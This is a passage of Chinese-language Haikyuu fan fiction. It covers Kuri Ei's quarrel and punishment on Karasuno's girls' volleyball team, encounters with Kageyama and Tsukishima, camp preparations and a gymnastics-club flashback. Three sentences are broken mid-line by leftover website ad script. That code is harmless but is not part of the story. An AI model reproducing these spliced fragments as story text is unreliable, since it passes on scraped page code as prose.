“乌养教练因病隐退后，男女排分馆，苦于斯巴达式训练的成员们尝到了休息的甜头，便一发不可收拾，学姐们中掀起了一波退部潮。”西村纱奈说。 “而我没有走…那时候我居然没有走。” “兴许是看见坚持下来的结和萝丝，我自说自话地将我的内心活动强加在她们身上。” “想象她们无人陪伴时的孤独——至少对我而言，这份孤独是最可怕的东西。” “所以为了朋友，我觉得自己必须撑下去，用最好的状态继续待在这个队伍里。” “可是热爱是最难演绎出来的东西了。”西村纱奈低头，诉说道，“我可以当一个稳重的后辈，在高年级面前表现得游刃有余，也可以当一个靠谱的前辈，尽力把我这几年来学到的东西倾囊相授。” “但唯独…唯独对排球的喜爱，已经在不知不觉间流逝了。甚至会在比赛中产生‘终于能结束了，可以不用再演下去’错误的心理。” “抱歉，九里，世诚，我对不起各位。”西村纱奈向众人鞠躬，“是我在比赛中偷懒了。” 九里绘面色如常…不，应该说看似面色如常。 实际上她从中间开始就听不明白西村纱奈的语言了，怎么那么多四字熟语，怎么！可以！这么多？！ 她！一边听一边忘！！ 索性还记得冲突的起源，九里绘淡定地点点头，接着说：“累了，不要打不就行了？” “你是为了友谊而打排球的，我是抱着有兴趣就干到底、干到最好的想法打排球。” “动机和动机之间又没有什么高低贵贱之分，排球是你结交朋友的一个纽带，那有什么不好的。” “不想打了，就扔掉，换一个新的纽带缠上去。”九里绘想了想，若有所思地嘀咕起来，“真正的朋友又不会因为你的衣服上换了排纽扣就和你绝交……” 西村纱奈吸了吸鼻子：“好。” 九里绘作势要走，转身前突然想起了什么，说：“刚才的都是复盘！” “就事论事，不管你有什么让人不开心的理由，在比赛场上放弃就是对自己、队友、对手和观众最大的不尊重！” “你要再犯的话，我还是会和你吵架的！！打起来也有可能！”九里绘朝西村一指。 随后，她的鼻腔间发出一声若有若无的哼声，默默地回到了队伍里。 道宫结重新整队，在为新生赛做出总结后，她再度表示了对新生入队的欢迎。 四月的空气还夹杂着一丝凉意，九里绘披上标着“乌野排球部”的黑色外套，听道宫结继续道：“西村，你有话要说吗？” “道宫队长，望月老师，我想申请不参加黄金周的集训。”经过深思熟虑后，西村纱奈觉得此刻的心情无比轻松。 “我需要用这段时间考虑下自己的事。” 这件事的结果有待商议，刚打完比赛还附加吵了一次架的九里绘有些犯困，半梦半醒间，听见有人喊了她的名字。 “九里同学。”道宫结露出了一个无法用语言描述的微笑。 然后长呼出一口气，表情严肃道：“‘就事论事’一下，作为率先在部活期间挑起争执的人，我们来谈谈惩罚的事吧？” 道宫结：“你该不会以为随随便便就能结束了吧。” “……”九里绘像一只受惊的小兽打了个寒战，由衷地察觉到了不妙。 27.27章 27章——北川第一的特产反射弧 那一刻，九里绘为她接下去的遭遇想象出了不同种类的可能。 A.普通结局 在听到惩罚内容后，她鼓起勇气，上刀山下火海，最后撑过了道宫队长的死亡（？）考验。 B.美好结局 她不仅顺利通过了考验，还获得了队伍内所有人的包容。大家手拉着手，嘴里唱着“幸福美满一家人”的歌谣在夕阳下奔跑。 很多年再后回想起来，那幅画面将会是她们逝去的青春。 C.悲痛结局 惩罚内容过于刁钻，无法实现。她只能抱着自己的脑袋和排球蹲在角落土下座，请求再给她一次机会。 结果等来的只是一张白纸黑字的退部通知书。 D.特殊结局 排球之神因为这件事从而对她心灰意冷，弃她而去，她和排球从此be。 E.特殊结局plus黑化版 排球之神离她而去后，体操之神再次向她伸出手，九里绘坠入名为国中噩梦的陷阱，解锁堕落ntr属性。 F.钝角 这个选项是谁放进她脑子里的？ 总之，当九里绘自认为已经做足了心理准备，她还是输得一塌糊涂。 道宫结事先请教了望月加代，得到望月老师的点头后，她保持尚有威严的表情：“九里同学，今天不允许你参加训练了。” “诶？”九里绘瞳孔地震。 “私底下一个人偷偷练也不行，此外，黄金周前两天也禁止你参加单兵防守训练。”道宫结说，“如果被我们发现你找别人练习的话，就顺延下去禁一天部活。” “不允许练习排球，现在换上室外鞋出去走路散心——只准走不准跑，好好反思问题，这就是今天对你的惩罚！” 咚！ 侧门应声关闭，在道宫结凝视的注目下，她已身处馆外。 同时响起的似乎还有玻璃制品碎裂的声音，那是九里绘破碎的心。 * 馆内，女排部的成员们面面相觑。 第一个打破沉寂的是西村纱奈，她主动揽下责任：“要惩罚的话，我也算一个，毕竟发生争执，我的情绪也很冲动。” 细想之下，雪菜萝丝赶来防止事态愈演愈烈时，吵架的转折点是九里绘。 她冷静下来的速度极快，是真正意义上的“就事论事”。 那种直来直去的性子，让西村纱奈确信只要自己讲真话，就能百分百交换到真心…… 完蛋，更加后悔了。 “嗯，纱奈，今天的部活日志和拖地就交给你了。”道宫结说。 “……只是这样吗？”西村纱奈惊讶。虽然早猜到惩罚力度会有不同，但是就这样轻而易举地放过了她…… 有栖川由梨敏锐地察觉道：“道宫学姐，是在用‘惩罚时间’让小绘不要再满脑子全是排球，趁出去透气的时候反省自己。” “确实…应该反省。”中尾葵在思索后说，“队伍的秩序，也很重要。” 道宫结摸摸后脑勺，脸色一惊：“诶，是这样的说法嘛！” 刚刚树立起队长威严人设当即崩塌。 雪菜萝丝也没料到走向，问：“那你想的是什么？” “我认为九里同学必须要休息。”道宫结说，“她的球感好，训练刻苦，说不定很快就能赶上来……但是不管怎么说，她是个需要关照的新人。” “我们都是从新人时期过来的，所以结合观察，我大概能够猜到。” “九里同学身体恢复的速度已经赶不上她受伤的速度了。” * 无事可做的九里绘绕着学校走完了一圈，看着户外社团正在火热开战中的训练，感觉很手痒。 联想到惩罚的内容，她又勒令自己马上把这种想法抹掉。 毕竟拼尽全力的心态放在接受惩罚上也同样适用。 原话是让她用这段时间反省……对了，要全力反省。 被推出来前，道宫结特意让她带上了随身包，这下，九里绘得以在里面翻找东西。 绷带，止痛喷雾，钱包……找到了，草稿本。 接下来，九里绘从袋子里翻出一支铅笔，下唇抵着笔尾，找了个有阴影的角落随地而坐。 【我的反省如下，冒号。】 【第一，不该在未经报备前擅自和队友发生冲突……绝对不能意气用事。】 体会到了用脑袋思考的痛苦，但好在她对构思检讨书这件事相当有经验，尤其国中的时候没少写。 【第二，绝对不漏判…不放过任何一件坏事。】 【第三，绝对裁判的公正漂亮。】 【？】 写着写着，不小心写串到哪个世界去了。 九里绘不想拿橡皮，直接把三段字划掉，仰起脖子盯着挡住她与天空之间的顶棚。 她的思绪仿佛飘荡在空气中，完全沉浸在自己的世界里，周围的喧嚣似乎与她无关。 突然，有人踩到了一片干枯的树叶，发出咔嚓的脆响，打破了周围的宁静。 九里绘往声音的源头看去，抬着头，瞬间撞上了影山飞雄的视线。 “九里同学。”毕竟是见过好几次的人，影山飞雄点头示意，用喊姓氏的方式代替打招呼。 “下午好，影山同学。”九里绘同样用她最标准的问好句式回应。 结束了像是例行公事般的开场白，影山飞雄往前走了几步，停在自动售货机前，九里绘抱腿坐在旁边，两人相隔一米不到的距离。 并且在接下去的一分钟内，再无对话。 影山：“……” 九里：“……” 十秒钟后，“嘀”声响起，五秒钟后，接连的“嘀嘀嘀”声响得愈发频繁。 “怎么回事？”九里绘的注意力转移到奇怪的动静。 “机器好像坏了。”影山飞雄坚持不懈地按着，过了一段时间才松手说，“吞下硬币后，不管选什么饮料都掉不下来。” “这样啊。”九里绘顿时来了兴致，她跳起身，“让让，我来。” “饮料机坏掉的经历，我也是小小经历过十几次的。”她铮铮有词，开始活动手腕。 影山：“…居然能碰到过十几次？”他好像只撞见过一次，还是今天的这一次。 九里绘挥起拳头，走到侧面，毫不犹豫地用力猛锤了一下机器，自动售货机应声微微震动了一下。 接着发出咣当坠响，饮料落入下方的接收区。 影山飞雄翻出来看，是一盒牛奶。 好吧，虽然不是他心目中的第一顺位选择，但第二顺位总比没有好。 想到这里时，影山飞雄的余光瞟见那披着黑色外套的矮小身影原地跺脚，再次转身一脚踹到机器上。 这回掉的是酸奶了。 九里绘撕开背后粘着的吸管，感觉被一道直勾勾的视线盯上。 她随口一问：“要换吗？” “要。”影山飞雄说，“多谢。” 有了共同的经历后，人和人之间的关系往往就会更近一些。 九里绘看着手里的牛奶盒，问起：“如果不小心闯祸了，该怎么做才能让队长觉得我已经‘改邪归正’，可以归队了。” 这故事剧情听起来莫名耳熟，影山飞雄觉得自己在哪见过。 他认真思考了一下，语气不够确定地开口：“承认错误然后……抓紧证明自己吧。” “不一定能成功，要论稳妥，应该是安然度过惩罚的时限才好。” 实在奇怪，他在人际交往领域有九成时间是在被前辈教导，所剩无几的一成时间还需要拆成和人拌嘴与干瞪眼两种情况。 几乎不会有同龄人来向他咨询。 抱着试一试但也不能瞎说的想法，影山飞雄问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ：“具体是什么样的闯祸？” 话到嘴边，九里绘欲言又止。 要是从头到尾完整地讲一遍，不仅会把自己绕晕，对方或许也会听得厌烦。 所以，果然还是直接阐述事实吧。 九里绘神色凝重，开始用双手在空气中比划：“一时冲动，对着队友喊——‘我托的球，你凭什么没有扣下去？’这种。” 影山飞雄的眼睛越睁越大：“！？” 坏了，这剧情他真的见过！甚至还亲自体验过！ * 见影山出去了好几分钟还不见踪影，想继续练习快攻的日向翔阳诧异地提了一嘴：“那家伙到哪里去了？” “按照平常的习惯，这个时间点应该是去买饮料补充体力。”清水洁子细心地说。 “对哦。”日向翔阳跃跃欲试，向队长打报告，“大地学长，我去把那家伙给抓回来！” “等等日向，你另有事要做。”泽村大地制止，而后在人群中快速搜索，“月岛，拜托你跑一趟吧。” 山口忠连忙去打探身边人的表情。 “是。” 月岛萤略微不情愿地接下了这项任务，换上户外鞋，短短的距离，每一步都走得格外漫长与艰难。 特意指派他的理由无非是两种，是单纯的随口一提，或者想靠一些小事加快新人之间融入团队的关系…… 哪种都无所谓，反正只要把话传给那家伙，他直接转身就走。 很快到了拐角处，月岛萤听见了两道截然不同的声线。 “影山同学，我发现你长得有点像…我国中最崇拜的学长身边、一个很吵的前辈。”前缀好多。 “那位前辈当时也是排球社的，好像叫宽鳍什么。” 影山飞雄：“莫非是及川学长吗？前半段的发音一样。” “就是叫这个。”九里绘左手敲右手，突然意识到，“你也是北川中学的？” “嗯，我国中三年在北一读。”影山飞雄说。 这么算下来他们居然已经当过三年同学，却都是一副完全没听说过对方的反应。 九里绘实在想不通是谁的问题，干脆抛到脑后，说：“有件事我好奇很久了。” “为什么北川的毕业生都喜欢简称学校为‘北一’？”九里绘咬着吸管，困惑地眨眼，“我当然也很喜欢这种自信，能够大大方方地把自己的校名后面加个‘第一’。” “每次报幕员喊完北川第一，‘北川肯定是第一～’就像是在挑衅对面，气势上已经赢了大半。话说这个传统到底是哪个天才想到的呢？” 此话一出，震撼全场。 “……诶？”这是影山。 “？”这是后悔自己走那么快，恰好撞见此发言的月岛。 影山飞雄有点懵圈，但还是在认清她的脑回路后解释：“因为‘北川第一中学’就是全称，没有其它含义吧。” 九里绘叉腰：“是我整整三年都理解错了吗？” “打扰了。”月岛萤即刻打断，生怕再听下去会被笨蛋传染，转而针对性看向一人。 “王者大人真是悠闲呢，再不回去的话，恐怕就要被家臣给抛弃了吧？” 听到绰号的影山飞雄一点就炸，刚要开口，发现九里绘先他一步往前走，站在二人中间。 两边高，中间低，呈现出一个典型的凹字身高排列，个头最矮的九里绘气势上却没输给任何人。 “下午好，月岛同学。”九里绘严谨地瞒下了扮演西谷夕期间和他的熟络。 并在心中反复演算完社交关系，确定自己已经能够喊出那句话，还不会把别人给吓跑。 九里绘十分笃定，一身正气凛然地说：“你长得很像符合我理想型的心选帅哥。” “所以你好，帅哥，我多看几眼。” 月岛萤眉头一拧：…… 笨蛋们接踵而至，今天一定是他的水逆日。 28.28章 28章——“蔑称” 就在五分钟前。 关于九里绘询问如何在闯祸后快速让别人原谅自己的办法，影山飞雄在那一瞬间感受到一种强烈的代入感。 他默默思索，心中浮现出自己曾经的经历，终于诚实地吐露出心声：“其实，我也不太清楚。” 九里绘歪头：“……？” 影山飞雄点头强调：“嗯。” “好像…很挺有道理。”九里绘看起来并不失望，“如果你真的能准确地告诉我如何解决问题，我倒觉得你不是影山同学了。” 好怪的形容，影山在心里觉得某种意义上，这话一点也没错。 而后，九里绘的下一句话给予了他解答：“因为那些脑袋聪明，没沾上任何一点清奇思路的人，是无法和我正常对话的。” “他们往往会露出表达无奈和无语的表情——” 五分钟后，希望自己从没来过此地的月岛萤做出来了。 九里绘眼睛一亮：要的就是这个表情！ 用排除法来看，月岛同学果然是脑袋聪明的人，那就太好了。 “真是抱歉，我得先失陪了。”月岛萤糊弄了一句，掉头就走。 被丢在原地影山飞雄问道：“你喜欢的不是自由人吗？” 一般来说，影山在自己不太懂的领域不会主动接话。 但拗不过这两人像是接上了电波，一个是恋爱脑绝缘体，还有一个是排球外绝缘体。 就这样产生了奇妙的化学反应，影山飞雄无比丝滑地自动切入了排球频道，将角色代换到各自所在的场上位置。 九里绘第一次来参观时的放话还近在眼前，他没想通：九里同学改喜欢副攻了吗？ “所有位置中我最喜欢的向来是自由人啊，怎么了？”九里绘秒答。 影山飞雄将瘪下去的酸奶盒扔到附近的指定垃圾桶，感受了一下体力的恢复情况，觉得是时候回去了。 他放眼往前看，说：“没什么，我先走了。” “拜拜，‘王者’大人。”九里绘挥塑料纸告别。 影山飞雄的脸色一下子又难看起来，回头：“你别学其他人这样喊我。” 九里绘咬吸管的动作突然顿住。 几秒钟后，她才反应过来：“……哈？‘王者’对你来说，居然是带有负面意义的称呼吗？” “分明听起来很酷，那些取绰号的人浪费了多好的词语。”九里绘不服气道。 影山飞雄撇撇嘴，闭口不言。 “Don''t mind！”九里绘拍拍他，“再怎么不爽，也只是一个称呼而已，你看我就一点也不介意。” 影山飞雄感到不解，这跟九里绘有什么关系，他们国中没有过交际吧。 “你有一个负面意义的称号，而我可是有过整整三个！”九里绘的自豪之情快要溢出来了，“三大于一，讨厌你的人没有我的多，我比你厉害，赢了！” “？”影山差点在最后那句话中幻视出了日向的风格。 不对，应该说是胜负欲更加妥当。 * 黄金周来势汹汹。 乌野排球部每年的集训安排相差不大，望月加代整理出往年的资料，和合宿地拨通电话核对完信息，才发现一件严重的纰漏。 她们的排球部……没有经理。 以至于对接的工作人员带她参观后厨时愣了一下，问：“那我们应该和谁取得联络，你们的后勤人员呢？” 好问题，望月加代悔恨地表示：“…没有。” 没有经理的女排部是由成员们轮流负责后勤。 她们的活动室门背后贴了张安排表，把后勤任务平均分配给所有人。 平时这样的安排还算妥当，但到了集训这段需要全天候训练的特殊时间就会出现矛盾。 校内没有配备集训宿舍的条件，就需要有人主动削减精力和练习机会，提前去合宿地打理后勤工作…… 西村纱奈呼之欲出：“我——” “你闭嘴，你不想，也不可以。”雪菜萝丝把她一巴掌按下去。 “两周后你有个数学竞赛，好好准备……还有，考虑清楚你和排球的事，先别插手社团了。”雪菜萝丝说。 西村纱奈轻声：“好。” “我可以。”九里绘举手，“我从小到大积累了相当多的后勤经验，能很快办好。” “感觉小绘一定是那种，趁着黄金周集训从早到晚疯狂训练的人，还是别那么辛苦了吧。”月见里纱希委婉地替大家否决。 可是比起疲劳和乏累，九里绘更不想眼睁睁看着集训出现差错。 气氛一度陷入了僵持阶段。 “没事，大家无需纠结。”望月加代说，“既然是我的纰漏，我会负责到底。” “就算炸掉了后厨，我也会保证大家回来的时候，都能吃上热气腾腾和香喷喷的饭菜。”望月加代面无表情地燃起了斗志。 井理世诚：“望月老师……变耀眼了。” “该死，是在发光吗……”海野辉英配合地捂起双眼。 “为什么已经预设好了会把后厨炸掉。”有栖川由梨嚼着泡泡糖，有不详的预感，“望月老师是厨房杀手吗？” 望月加代：“嗯，大差不差吧。” 道宫结瞳孔地震：“经、经费！” “本来钱就不够了，把别人家厨房炸掉一定会把订做球衣的钱都赔光！！”雪菜萝丝惨叫。 九里绘身临其境：“球衣，我的球衣……” 一片混乱之中，中尾葵接通了一个电话。 她示意大家安静些，然后在所有人毫不避讳的视线中，双手颤抖地挂断电话。 “那个，我找到临时经理的人选了……”她被大家的热情吓得发毛，“不要雇佣金，不会炸厨房，还比较听话。” 一个小时后。 中尾莲出现在了体育馆侧门，在瞄到了队伍中的九里绘后，眼神已死。 “喊我的名字就行，不、要、叫我小孩……” 中尾莲意外地擅长做饭，而且很好哄。 虽然会无差别对所有人开启吐槽，但是比所有人都担心自己说出的话会真的伤害到别人。 一旦成功了解他别扭性格的规律，就能掌握一切。 “家养的小孩就是让人安心啊。”海野辉英抹掉不存在的泪水。 无论什么话题，只要能联系到身高，中尾莲就能一秒炸毛：“你是在把我当成什么小动物吗喂！？不准想了！” “后勤方面还需要我做什么？”回过头，恢复正常的中尾莲用纸笔记录。 中尾葵思考：“我想想……” 九里绘果断接话：“经理的具体工作有清洗训练用的马甲和毛巾，制作运动饮料，整理排球部日志，记录每一球的得失分。” “带医疗包以及场上临时急救，合宿的餐饮与后勤保障，招新和宣传，球员数据统计等等……” 啪嗒一声，中尾莲的记录本掉到了地上。 “基础的东西而已，怎么了吗？”九里绘疑惑地歪歪脑袋。 “工作量真是太吓人了，幸好我没加入过社团。”中尾莲心有余悸，“乌野会看在我干活的面子上给我保送名额吗？” “不会。”九里绘无情道。 中尾葵疯狂点戳九里绘的后背，试图让她回忆起“哄小莲一百计”。 “……”似乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' get到意思的九里绘艰难思考，语重心长地重新开口，“莲，这不一样。” “因为、因为…” 九里绘突然想到了：“你的到来，让我们感受到了‘蓬荜生辉’。” 望月加代猛地转头说：“下次，把九里同学的国文补习加进每日训练里吧。” 中尾莲无语地盯着她：“……” “如果没有你的到来，我们就想不出更好的办法了。”九里绘放弃了思考，使用了直球，“小莲果然是我们的‘救星’大人。” “……！”中尾莲忽然立正，拼命甩手，“闭、闭闭嘴！可恶，我才没有很高兴！” 海野辉英带着一群人呼喊新起的绰号：“‘救星’大人——” 中尾莲变脸：“我是自愿来的！！” 效果显著。 * 第一日的黄昏，在当天正式集训结束前，道宫结组织了一场单兵特训。 引发了全场连续不停的哀嚎声。 单兵特训，便于理解可以被称为单人防守特训，是通过不间断地模拟排球落地的不同种情况，加强防守技巧和反应速度。 比赛场上的每一次接球和救球尚且有喘息的余地，可单兵特训就没有了。 体力不好的井理世诚表示，她接了一分钟就觉得难以呼吸，近乎窒息。 痛苦并快乐着。 哀嚎归哀嚎，真到了训练的时候，没有人逃跑。 角落里，被禁止参加单兵特训的九里绘向每一个人都投去了死亡射线。 这种充满羡慕嫉妒的凝视没有持续多久，等到第一个结束特训的有栖川大喘气走到旁边休息时，她发现九里绘也没有闲着，忙于观察自己的臂膀。 “这是在做什么？”有栖川问。 “手臂和手部的护理。”九里绘答道。 归功于她被扔到外面透气那个下午，在和影山的聊天中，九里绘终于意识到到了自己的受伤问题。 与别人相比，她非常需要平稳度过作为新人的身体适应期。 接球所用到的手臂皮肤下的紫红色淤血，因为她一个多月以来从不停止的高强度训练，迟迟没有消退的迹象，以至于现在的斑斑点点，依旧清晰可见。 这样是不太行的。九里绘心想，得赶快让它恢复起来。 “用上护理吧。”影山飞雄根据自身的习惯给了她建议。 还有……适当的休息。 九里绘按耐住了恨不得冲上去训练的心情。 站在场边，她久违地陷入沉默。 目光锁定在所有人的身上，依次扫过，这种旁观者一般的视角让她有熟悉的感觉，像是局外人。 这时，累到半死的中尾葵强撑着握住她的手腕，将她拉进队伍里。 “饭……好想吃饭……” “晚上休息的时候，我可以讲点故事吗？”九里绘想起了道宫结的那番话。 【如果觉得有事想不通，就来排球部分享。】 她迟迟没想通的事情，可以就这么毫无顾虑地拜托给别人吗？ 姑且尝试一下吧。 众人纷纷竖起了耳朵，带着饭后吃瓜的意味。 “和我的国中有关，事先说明下，我不认为自己有问题，也从没为此困扰过。” 假如是其他人，一定会被理解成发言者单纯是在嘴硬，但换成九里绘就不一样了。 女排部成员们整齐划一地心想：她肯定说的是实话。 “那我开始了。” 北川第一中学，九里绘。 根据不完全统计，绰号有：运气瘟神，人形自走不定时炸弹，自私自利的独裁者。 是体操部最被讨厌的存在。 29.29章 29章——享受孤独乐趣的独裁者 九里绘念国中的第三年，社团宣传日迎来了一批新生。 测试完了基本功，多了几位有潜力的新人，但上比赛的队员名单和训练资源依然有限。 在教练的要求下，新生会在有机会成为正选前，被分派到不同的学姐那边接受指导帮助。 似乎只有二、三年级的前辈们才能站上比赛的舞台，已经演变为了不成文的规定之一。 “有吗？”名为九里绘的学姐对着天花板发呆，对她说，“没有吧，谁强就由谁上。” “…诶？是、是这样嘛。”她愣了下，赶忙效仿着别的社团在前后辈礼仪上的举止，九十度鞠躬，“那么麻烦您了，初次见面请多指教，九里前辈！” 彼时的一年级生，小川悠如是说。 小川悠升入国中，初来乍到，放眼望去整个学校没有半个熟人。 新认识的同学和她在开学第一天就找到了共同话题，聊得非常不错，交换了联系方式，还一起换了同系列的可爱头像。 家挨得近，干脆一口气约好了上下学，对方碰巧也报名了体操部。 原以为这样的关系可以在加入社团后互相有个照应，结果刚走进体育馆，就见同学朝着远处大声地打起招呼，径直向体操部的副队长走去。 小川悠黯然神伤，但实在无话可说，默默地一个人站在角落。 部活开始前，她听到了其他新生们的议论，有关体操部“前辈带后辈”的传统。 “教练的要求没有那么强制性啦，可以在他决定好名单前，我们先去和学姐们联系，早点找到靠谱又好讲话的前辈来当指导。” 处于热门话题中心的人物有三个，分别是在老师面前很受人尊敬的正副队长，以及三年级的九里学姐。 和那些受欢迎的高年级学姐们不同，九里绘之所以能够长久位于话题的中心屹立不倒，走的是反向路子。 ——即，无论找谁都不要找九里绘。 * 其他学姐们的名下全都满额，在教练清点完人数后，落单的小川悠终于还是不负众望地被划分给了九里绘。 她有些失落，下意识观察旁边，发现同年级的新生们纷纷露出了劫后余生般的表情。 反观二三年级生们没有什么大的反应，只是在教练喊九里绘出列时，有的低头不言，有的小心翼翼地用眼角的余光瞟向她的侧影，又很快挪开视线。 不像是讨厌的目光，更像是回避。 真是古怪的视线。小川悠敏锐地捕捉到。 再怎么说，自己选的社团，不能知难而退。 九里绘的训练强度简直可以用地狱级别来形容。 因为在老师和教练眼皮子底下，姑且可以蒙混过关，但在九里绘这里绝对不行。 她的指导仿佛有一种天生的压迫感，可以在训练前有理有据地偷懒，可一旦开始了就必须做到还剩最后一口气。 “备用方案里，必要的时候我会提供紧急抢救和人工呼吸。”九里前辈一本正经道，“放心，我学过。” 小川悠：“……” 这种靠谱风格未免也太恐怖了吧！ 如果并非技巧上难以攻克的问题，而是体能或者柔韧度方面的基本功不足，她甚至会早上六点准时出现在家门口，喊小川悠一起跑去上学。 几番欲哭无泪下来，小川悠有那么两次在更衣室里想过放弃。 近乎苛刻的要求，让她忍不住向同学倾诉，同学听罢立刻把自己的心里话也一并吐槽出来。 闷闷不乐地说：“早知道那么难，就不看在副队长的面子上来了……” 小川悠抿了抿嘴，没有发表言论。 气氛一度冷场，小川悠只好顺着话问下去：“你们学到哪套动作了呀？” 同学：“后软翻开头的那个系列……” 小川悠：“我记得后面要接空翻或者连续两个软翻，然后再是……” “是啊，就是那个。”同学不满道，“其实二年级的前辈们有的也不一定能完美做下来，一定是副队长她要求太高啦。” “哦……”小川悠随口附和了一句，加快了换衣服的速度。 换上练功鞋，小川悠几乎是冲刺一样跑到同一个角落去找九里绘，问出了那句藏在心底已久的问题。 “九里前辈！”小川悠轻微喘气，“请问一下，一年级，能当上正选吗！？” 九里绘放下了手中的圈圈和彩带，一脸平静地看向她，眼神渐渐认真：“当然可以。” “话说你刚才叫我什么，再喊一遍。” “呃…九里前辈？” 不知是哪个字激起了九里绘的热烈反应，她抿起的嘴角连成了一条不显眼的波浪线：“好，很不错。” “九里前辈。” “嗯嗯嗯。” “九里——前辈！” “好！” 九里绘越听心情越好——她如今也是“前辈”了啊！！！ 咳咳。九里绘收回不正经的想法，继续说：“规则那种东西，没有写进法律里就是不成立。” “我一年级时就曾当上过正选。” “果然！”小川悠惊喜道。 在九里绘的帮助和监督下，她的基本功像坐了直达电梯一样突飞猛进。 连同学口中那个“二年级的前辈们有的也不一定能完美做下来”的后软翻系列，她也早已经把动作都学会了。 只是在衔接方面略显生疏，要达到高分水准的话，成功概率一般。 偶然一次教练经过时，也会抛下两句“居然都学到这里了啊”的似有似无的感叹。 而能教导她不断进步的九里学姐……实力一定很强吧。 可是，正选名单上却没有九里学姐的名字。 “个人选择不一样而已。”九里绘解释道，“教练从事以来，每年上去比赛用的曲目都比较有这个国家的特色。” “而我的表情管理不当，对优美柔和之类的风格不感兴趣，索性没再上场。” 学姐真的不在乎，一点也不在乎。 意识到这点的小川悠再度升起了尊敬之心。 如果是她的话，练习了许久的东西没有上场的机会，没有得到相应的成果，她恐怕是不会坚持下去的吧。 能够支撑着自己每天参加部活，私底下拜托九里学姐继续加训，就是一个想要当上正选的念头。 “你现在的目标是当上正选吗？”像是读心术一般的巧合，九里绘问起她的想法。 “是。” “你可以做到的。”九里绘没什么表情地摸摸她的头，“就算做不到，也一定不会是你的问题。” “放宽心，享受这段仅仅只有自己才能体验到的奇妙旅程吧。” 只是一句话，一句再简单不过的话，好像赋予了她极大的鼓舞和动力。 或许还有些认同感。 小川悠第一次直白地体会到那句耳熟能详的道理——【努力是会被看见的。】 即使大多数人都会对她视而不见，也一定会被九里前辈看在眼里，牢牢地记在心里。 九里绘正色：“不过要问我的目标，我个人会说的答案是…拿到全国冠军。” 小川悠：“那还是太过遥远了……” 可惜特立独行同样需要付出代价。 预选赛开始的前一周，教练宣布了他通过长期评测下来决定的正选名单。 三年级基本上全员入选，其次是因为人数而留给二年级的少许名额。 没有一年级的名字。 “教练，小川悠为什么没能上场？” 整个训练馆都安静下来，空气中弥漫着紧张的气息。 教练定了定神，看到举手示意的九里绘，不紧不慢地问：“小川是哪位？” 被喊到了名字，小川悠颤抖着出列。 教练看起来对她有些印象，指派了几个特定动作，让她到垫上展示。 她完成得很快，虽然算不上真正意义的完美，但胜在自然流畅，是一年级生的佼佼者，潜力无限。 “你以前有练过体操吗？”教练追问。 “没有……”小川悠缓了下，才想起来说，“但是，小学有练过两年的芭蕾。” “怪不得能看出些底子来。”教练点点头。 问话结束，教练重新面对寂静的队列，看向九里绘：“可惜正选人数已经满了……” “那就把一个人换下来。”九里绘毫不犹豫，“您要是认为逐一展示会浪费太多时间，那我直接点名好了。” “三年级的千田同学曲目动作不到位，抛去身体原因请假不提，这个月缺勤过六次，基本功已经很生疏了。” 千田一时语塞，不得不应话：“我、我会抓紧时间努力跟上大家的。” “既然大家能相信千田同学，也能够相信一直在提升自己的小川同学吧。”九里绘毫不避讳地反驳道。 “不能因为即将毕业而得到特殊照顾，这在竞技中对任何一方都是不公平的。” “还是说您觉得，这种没有意义的宽容能够使她们变得更强呢？” 教练安静地听着，直到九里绘话音落下，才慢悠悠地问起所有人的想法。 没有人出声，赞同或是反对的声音一点都没有，唯独千田的脸色有些尴尬。 “那么，千田你去替补席，就由小川上了。” “是！”小川悠大声应道。 到了部活的结束时间。 同学一如既往地找她顺路回家，这回，小川悠另有事要做。 “抱歉，你先回去吧，我要先去找下九里前辈。” “哦……”同学的神情复杂，想了想还是说，“其实，大家对你和九里学姐都没什么意见。” “只是九里学姐不交朋友，大家平时也不知道她在想什么，就猜她是个很可怕的存在，说话风格比较…”停顿了一下。 小川悠无奈地笑了一下，帮她补充：过于尖锐，乃至于刻薄。 “而且听学姐们说，九里学姐从一年级入学以来就是这样的性格。”同学说。 “当时，前后辈的观念比现在更为严重，九里学姐的态度让所有前辈们都指责她不尊重人，你猜九里学姐是怎么回答的？” 小川悠竖起耳朵听。 “她说——‘别人怎么对我，我就怎么对TA，我永远尊重那些会尊重我的人’。” “‘至于其它的……关我屁事？’” 同学小声尖叫：“要命了，有点帅！” 小川悠浑身激动地抖了一下，在心中附和——那肯定啊！ 话说回来，单论语出惊人，怎么感觉三年级的九里前辈已经比以前温和了不少。 “所以有许多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不好听的称呼，都是前两届流传下来的。”同学说。 “像什么瘟神啊，人形自走不定时炸弹……其实本质上是因为人们就喜欢把遇到的坏事甩到自己讨厌的东西上。” “包括今天的吗？”小川悠追问。 “今天？……不知道，但假如我是千田学姐的话，恐怕也做不到完全不埋怨九里学姐。”同学很诚实地说出内心想法。 “因为，最先站出来的那个人，总是会承担所有负面情绪的黑锅啊。” “面对两边总要牺牲掉一边的局面，在没办法让大家都满意的情况下，话语权大如教练都不想当先开口的那个。” “我们，包括教练所在的大部分人，都是些胆量小，不敢被针对的家伙呀。”同学坦白道。 她转了个调子，开始谈起自己：“大家都心知肚明，不会明说出来，静静地观望着出头鸟…咳咳，也就是九里学姐担任的角色。” “至少我们能做到不去讨厌九里学姐，不再把那种莫须有的坏传言继续流传下去，就已经比前辈的前辈们好很多了。” “怎么样？对比下来，我们肯定是更接近‘好人’阵营的吧。”同学丝毫不在意地笑了笑，全然不放在心上，似乎一讲完就能抛到脑后。 小川悠点了点头，和往常一样陷入沉默，没有接话。 因为习惯的问题，她会尽力和自我辩驳，努力迎合别人，碰到自己不太认可的事，也总会自动帮别人寻找到合适的理由。 但此刻的沉默却和以往有些不太一样。 小川悠忽然清楚地意识到原来观点只是用来体现一个人想法的观点而已，它什么都不是。 即使她竭尽全力变成别人喜好的模样，她们也不会因此就将她视为好友和知己…… 小川悠定了定神，在无数的思绪中捕捉到其中的一缕，那是一段比较悠远的回忆，是她和九里绘遇见的第二天。 面对排异，九里绘很轻快地抛着体操棒，相当自然地说：【人本来就不可能理解别人的吧。】 小川悠迟疑：【可是人们应该能理解一点别人的情绪，然后和别人产生共情……】 